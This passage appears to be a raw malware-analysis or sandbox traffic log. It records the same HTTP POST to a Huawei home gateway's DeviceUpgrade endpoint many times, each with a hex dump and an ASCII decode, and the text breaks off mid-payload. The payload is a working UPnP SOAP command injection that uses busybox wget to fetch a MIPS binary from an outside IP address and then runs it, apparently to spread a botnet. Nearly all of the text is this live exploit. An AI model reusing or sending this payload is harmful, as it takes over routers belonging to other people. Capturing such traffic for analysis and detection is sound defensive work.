68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable 